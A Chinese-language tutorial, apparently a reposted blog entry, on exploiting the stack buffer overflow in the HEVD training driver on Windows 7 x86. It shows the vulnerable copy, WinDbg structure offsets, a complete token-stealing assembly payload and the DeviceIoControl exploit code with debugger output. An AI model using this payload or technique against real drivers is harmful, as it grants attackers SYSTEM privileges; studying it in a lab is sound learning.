[02] HEVD 內核漏洞之棧溢出

做者:huity
出處:http://www.javashuo.com/article/p-puscuiwz-e.html
版權:本文版權歸做者全部。文章在看雪、博客園、我的博客同時發佈。
轉載:歡迎轉載,但未經做者贊成,必須保留此段聲明;必須在文章中給出原文鏈接;不然必究法律責任
html

0x00 前言

上一篇主要學習了環境搭建及前期項目準備,本篇開始學習HEVD中的內核棧溢出漏洞(StackOverflow)。須要參考環境的可參考:

實驗環境:Win10專業版+VMware Workstation 15 Pro+Win7 x86 sp1git

實驗工具:VS2015+Windbg+IDA Pro+KmdManager+DbgViewergithub

這幾天看到有不少一樣開始研究二進制漏洞的小夥伴,幾經交流,先膜再說。傳送門:TJ安全

驅動安裝

從github上下載HEVD的源碼編譯生成驅動,打開咱們以前準備好的虛擬機和windbg,將驅動模塊和利用模塊拷貝到虛擬機,用KMD加載便可。
打開cmd,運行咱們的利用程序,以下:
查看是否加載成功,windbg使用lm m H*能夠看到剛剛加載的HEVD.sys。

0x01 漏洞原理

棧溢出

顧名思義,即緩衝區中,超長的數據向小緩衝區拷貝數據,數據超出了小緩衝區,覆蓋掉了小緩衝以後的數據,此稱爲緩衝區溢出。而棧溢出是緩衝區溢出的一種,相似的還有堆溢出,不一樣的是棧溢出發生在棧中,而堆溢出發生在堆中。具體更細緻的理解,可參考《0Day安全》(第二版)中第二、五、7章的介紹。
那麼當咱們設計將返回地址溢出覆蓋爲咱們本身的程序地址,那麼目標程序即被利用。

分析

打開..\HackSysExtremeVulnerableDriver-master\Driver\HEVD\BufferOverflowStack.c,看到觸發漏洞的函數TriggerBufferOverflowStack ,其中針對存在漏洞的版本和不存在漏洞的版本的源碼有一個很好的對比展現,以下:
ULONG KernelBuffer[BUFFER_SIZE] = { 0 };
...
#ifdef SECURE  //安全版本
        RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer));
#else   //漏洞版本
        DbgPrint("[+] Triggering Buffer Overflow in Stack\n");
        RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);
#endif
    }
    __except (EXCEPTION_EXECUTE_HANDLER)
    {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }
    return Status;
}
在不安全的版本中,RtlCopyMemory函數進行內存拷貝時,直接使用Ring3傳入的內存塊大小,沒有進行任何的校驗。而在安全的版本中,內存拷貝大小被限制爲目標緩衝區大小,即限制了棧溢出的發生。那麼,當咱們編譯爲不安全版本時,便可進行漏洞利用。
再向上翻看代碼時,咱們注意到內核緩衝區的大小爲BUFFER_SIZE大小,查看宏可知爲512,乘以32位ULONG即爲0x800大小。

0x02 漏洞利用

提權

對於系統進程而言,如system.exe或者csrss.exe,當咱們用本身的普通用戶進程打開OpenProcess時,每每都會返回0x5的錯誤,即拒絕訪問。那是由於普通進程的權限是比較低的,想要打開高權限程序必須具備高於或等於目標進程權限,才能對其進程操做。
那麼如何提高當前進程的權限呢,經常使用的一種作法是,經過Token令牌修改。

即將目標進程的 Token 結構數據或指針替換成 System 進程等系統進程的 Token 結構數據或指針。這樣一來進程將以系統進程的身份執行任何行爲,全部須要校驗令牌的操做都將能夠暢通無阻地進行。
函數

 

第一步首先須要定位到System進程的EPROCES結構地址,常見作法是經過fs寄存器,其指向當前活動線程的TEB結構(線程結構),在Win7 x86 sp1環境下,其偏移0x124爲當前線程KTHREAD結構:工具

kd> r fs
fs=00000030
kd> dd fs:[0x124]
0030:00000124  83f7d380 00000000 83f7d380 00000100
0030:00000134  9e090106 0001007f 00000000 00000000
0030:00000144  00000000 00000000 00000000 00000000
0030:00000154  00000000 00000000 00000000 00000000
0030:00000164  00000000 00000000 00000000 00000000
0030:00000174  00000000 00000000 00000000 00000000
0030:00000184  00000000 00000000 00000000 00000000
0030:00000194  00000000 00000000 83f0cae7 83e4ff64
    
kd> dt _KTHREAD 83f7d380 
nt!_KTHREAD
   +0x000 Header           : _DISPATCHER_HEADER
   ...
   +0x040 ApcState         : _KAPC_STATE
   +0x040 ApcStateFill     : [23]  "???"
   +0x057 Priority         : 0 ''
   ...
     
kd> dt _KAPC_STATE
nt!_KAPC_STATE
   +0x000 ApcListHead      : [2] _LIST_ENTRY
   +0x010 Process          : Ptr32 _KPROCESS
   +0x014 KernelApcInProgress : UChar
   +0x015 KernelApcPending : UChar
   +0x016 UserApcPending   : UChar
_KTHREAD結構的偏移0x50處爲_KPROCESS結構,而_KPROCESS爲_EPOCESS結構的第一個字段,即定位到了_EPROCESS結構。
 
第二步經過_EPROCESS中偏移0xb8處的進程雙向鏈表,偏移0xb4處的進程標識符以及System進程的進程標識符4遍歷鏈表匹配到System進程。在EPROCESS結構偏移0xF8處爲_EX_FAST_REF結構,爲Token 成員域。
kd> dt _EPROCESS
nt!_EPROCESS
   +0x000 Pcb              : _KPROCESS
   ...
   +0x0b4 UniqueProcessId  : Ptr32 Void
   +0x0b8 ActiveProcessLinks : _LIST_ENTRY
   +0x0c0 ProcessQuotaUsage : [2] Uint4B
   +0x0c8 ProcessQuotaPeak : [2] Uint4B
   ...
   +0x0f8 Token            : _EX_FAST_REF
   +0x0fc WorkingSetPage   : Uint4B
   ...
       
kd> dt _EX_FAST_REF
nt!_EX_FAST_REF
   +0x000 Object           : Ptr32 Void
   +0x000 RefCnt           : Pos 0, 3 Bits
   +0x000 Value            : Ui

數值的低 3 位表示引用計數,去除低 3 位數值後的 32 位完整數值指向實際表示的內存地址。學習

Token 結構中存儲與當前進程相關的安全令牌的數據內容,如用戶安全標識符(Sid),特權級(Privileges)等,表明當前進程做爲訪問者角色訪問其餘被訪問對象時,訪問權限和身份校驗的依據。當前的 System 進程的 Token 結構塊的數據以下:測試

kd> !token 89201270
_TOKEN 0xffffffff89201270
TS Session ID: 0
User: S-1-5-18
User Groups: 
 00 S-1-5-32-544
    Attributes - Default Enabled Owner 
 01 S-1-1-0
    Attributes - Mandatory Default Enabled 
 02 S-1-5-11
    Attributes - Mandatory Default Enabled 
 03 S-1-16-16384
    Attributes - GroupIntegrity GroupIntegrityEnabled 
Primary Group: S-1-5-18
Privs: 
 02 0x000000002 SeCreateTokenPrivilege            Attributes - 
 03 0x000000003 SeAssignPrimaryTokenPrivilege     Attributes - 
 ...
 34 0x000000022 SeTimeZonePrivilege               Attributes - Enabled Default 
 35 0x000000023 SeCreateSymbolicLinkPrivilege     Attributes - Enabled Default 
Authentication ID:         (0,3e7)
Impersonation Level:       Anonymous
TokenType:                 Primary
Source: *SYSTEM*           TokenFlags: 0x2000 ( Token in use )
Token ID: 3ea              ParentToken ID: 0
Modified ID:               (0, 3eb)
RestrictedSidCount: 0      RestrictedSids: 0x0000000000000000
OriginatingLogonSession: 0

第三步,用系統進程令牌替換當前進程令牌。ui

根據以上步驟,參照..\HackSysExtremeVulnerableDriver-master\Exploit\Payloads.c,構造的Payload代碼以下:
VOID TokenStealingPayloadWin7() {
    __asm {
        pushad                               ; 保存寄存器狀態
        xor eax, eax                         ; 清空eax
        mov eax, fs:[eax + KTHREAD_OFFSET]   ;獲取當前線程KTHREAD結構
        mov eax, [eax + EPROCESS_OFFSET]     ; 獲取_KPROCESS結構
        mov ecx, eax                         ; KProcess爲EProcess第一個字段  這裏將目標進程EProcess首地址放進ecx  方便後面替換
        mov edx, SYSTEM_PID                  ; SYSTEM process PID = 0x4
        SearchSystemPID:
            mov eax, [eax + FLINK_OFFSET]    ; _EPROCESS.ActiveProcessLinks.Flink
            sub eax, FLINK_OFFSET
            cmp [eax + PID_OFFSET], edx      ;_EPROCESS.UniqueProcessId
            jne SearchSystemPID
        mov edx, [eax + TOKEN_OFFSET]        ; 獲取System進程令牌
        mov [ecx + TOKEN_OFFSET], edx        ; 用系統進程令牌替換目標進程令牌
        ; End of Token Stealing Stub
        popad                                ; 恢復現場
        ; Kernel Recovery Stub
        xor eax, eax                         ; 設置返回狀態爲成功0
        add esp, 12                          ; 恢復堆棧
        pop ebp                              ; 彈棧
        ret 8                                ;
    }
}

 

利用代碼

經過DeviceIoControl的其餘內存模式IOCTL(METHOD_INEITHER方法進行環3和環0通訊交互。
    #define HACKSYS_EVD_IOCTL_STACK_OVERFLOW                  CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_NEITHER, FILE_ANY_ACCESS)

 

這種交互方法,驅動層能夠直接訪問用戶模式地址, 使用用戶模式地址必須保證調用DeviceIoControl提供線程和派遣函數運行在同一個線程上下文中。
SIZE_T UserModeBufferSize = (BUFFER_SIZE + RET_OVERWRITE) * sizeof(ULONG);
  __try {
        ...
        //獲取設備對象句柄
        hFile = GetDeviceHandle(FileName);

        ...
        //動態申請內存  2084
        UserModeBuffer = (PULONG)HeapAlloc(GetProcessHeap(),
                                           HEAP_ZERO_MEMORY,
                                           UserModeBufferSize);

        ...
        RtlFillMemory((PVOID)UserModeBuffer, UserModeBufferSize, 0x41);//0x41  'A'

        MemoryAddress = (PVOID)(((ULONG)UserModeBuffer + UserModeBufferSize) - sizeof(ULONG));//申請區域的倒數第四的字節  0x368068+0x824-4 = 0x368888

        ...
        *(PULONG)MemoryAddress = (ULONG)EopPayload;//寫入payload地址

        DeviceIoControl(hFile,
                        HACKSYS_EVD_IOCTL_STACK_OVERFLOW,
                        (LPVOID)UserModeBuffer,
                        (DWORD)UserModeBufferSize, 
                        NULL,
                        0,
                        &BytesReturned,
                        NULL);
    
        HeapFree(GetProcessHeap(), 0, (LPVOID)UserModeBuffer);
        UserModeBuffer = NULL;
    }

動態申UserModeBufferSize(0x824)大小內存,使用字符A填充,修改最後四字節爲Payload地址。驅動層經過IO控制碼進入棧溢出處理歷程,也即文章開始處的觸發函數。spa

 

 

此時傳入用戶模式地址爲0x2c8068,大小爲0x824
能夠看到,此地址與環三代碼一致,最後四位爲payload地址。
kd> db 0x002c8068 l 824
002c8068  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
002c8078  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
...
002c8868  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
002c8878  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
002c8888  b6 13 3f 01                                      ..?.
    
kd> db 013f13b6
013f13b6  e9 25 75 00 00 e9 20 3b-00 00 e9 85 d6 00 00 e9  .%u... ;........
013f13c6  36 13 00 00 e9 41 bc 00-00 e9 4c d5 00 00 e9 27  6....A....L....'
013f13d6  c5 00 00 e9 f4 a1 00 00-e9 9d d6 00 00 e9 08 d7  ................
013f13e6  00 00 e9 73 45 00 00 e9-82 d6 00 00 e9 29 2d 00  ...sE........)-.
013f13f6  00 e9 d0 a1 00 00 e9 ef-ba 00 00 e9 2a bb 00 00  ............*...
013f1406  e9 73 a1 00 00 e9 b6 a1-00 00 e9 0b a2 00 00 e9  .s..............
013f1416  88 a1 00 00 e9 71 a1 00-00 e9 dc b3 00 00 e9 15  .....q..........
013f1426  a2 00 00 e9 02 d7 00 00-e9 ff a1 00 00 e9 28 d5  ..............(.
                                                                          
013f88f2 b930000000      mov     ecx,30h
kd> u 013f13b6+5+7525 l 30
013f88e0 55              push    ebp
013f88e1 8bec            mov     ebp,esp
...
013f88fe 60              pushad
013f88ff 33c0            xor     eax,eax
013f8901 648b8024010000  mov     eax,dword ptr fs:[eax+124h]
013f8908 8b4050          mov     eax,dword ptr [eax+50h]
013f890b 8bc8            mov     ecx,eax
013f890d ba04000000      mov     edx,4
013f8912 8b80b8000000    mov     eax,dword ptr [eax+0B8h]
013f8918 2db8000000      sub     eax,0B8h
013f891d 3990b4000000    cmp     dword ptr [eax+0B4h],edx
013f8923 75ed            jne     013f8912
013f8925 8b90f8000000    mov     edx,dword ptr [eax+0F8h]
013f892b 8991f8000000    mov     dword ptr [ecx+0F8h],edx
013f8931 61              popad
...
013f894e c3              ret
013f894f cc              int     3

再來看看內核棧緩衝區,明顯能夠看到,覆蓋範圍超出了內核棧緩衝區,而且最後四個字節爲payload跳轉地址。

kd> dt KernelBuffer
Local var @ 0x987fb288 Type unsigned long[]

kd> db 0x987fb288 l 0x800 //覆蓋前
987fb288  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
987fb298  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
...
987fba78  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
    
kd> db 0x987fb288 l 0x824 //覆蓋後
987fb288  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
987fb298  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
...
987fba98  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
987fbaa8  b6 13 3f 01                                      ..?.

測試中,能夠看到咱們的payload代碼成功執行。

最終提權成功。
 

0x03 防範機制

關於棧溢出的防禦,操做系統自身不斷的完善,出現瞭如Linux中Canary、DEP、ASLR、RELRO等系列機制,包括Windows的GS編譯選項,對棧保護性上有必定做用,可是近些年來,人們不斷的研究下,這些機制又很容易被繞過和關閉,又使新的問題不斷出現。

0x04 連接

玉涵師傅的翻譯版本: https://bbs.pediy.com/thread-223812.htm
相關文章
相關標籤/搜索